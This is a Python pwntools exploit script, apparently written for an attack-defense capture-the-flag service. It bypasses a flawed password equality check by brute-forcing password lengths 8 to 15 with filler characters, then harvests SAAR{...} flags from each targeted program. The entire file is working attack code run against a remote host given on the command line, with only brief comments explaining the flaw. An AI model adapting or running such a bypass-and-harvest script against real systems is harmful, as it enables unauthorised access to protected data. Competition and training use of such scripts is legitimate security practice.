import sys
from typing import List

from pwn import *

TIMEOUT = 7
PORT = 24929

FLAG_RE = re.compile(br"SAAR\{[A-Za-z0-9-_]{32}\}")


def exploit_id_with_len(target, program_id, pwd_len):
    conn = remote(target, PORT, timeout=TIMEOUT, ssl=True)
    try:
        conn.recvuntil(b'Your choice')
        print("Selecting run program")
        conn.sendline(b'1')
        conn.recvuntil(b'Please enter the name of the program you\'d like to run:')
        print(f"Sending program name {program_id}")
        conn.sendline(program_id.encode())
        if b'password' in conn.recvuntil([b'Running', b'Please enter the password:']):
            # target is a private program, but we're only looking for public ones
            return

        # OP_EQ operator on strings checks length *OR* content equality
        # -> send a password of the correct length and we're good
        conn.sendline(b"X" * pwd_len)
        flags = FLAG_RE.findall(conn.recvall())
        if flags:
            return ";".join(f.decode() for f in flags)
    finally:
        conn.close()


def exploit_id(target, program_id):
    for pwd_len in range(8, 16):
        result = exploit_id_with_len(target, program_id, pwd_len)
        if result:
            return result


def exploit(target: str, program_ids: List[str]):
    for program_id in program_ids:
        print(f'Attacking {program_id}')
        result = exploit_id(target, program_id)
        print(result)


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))
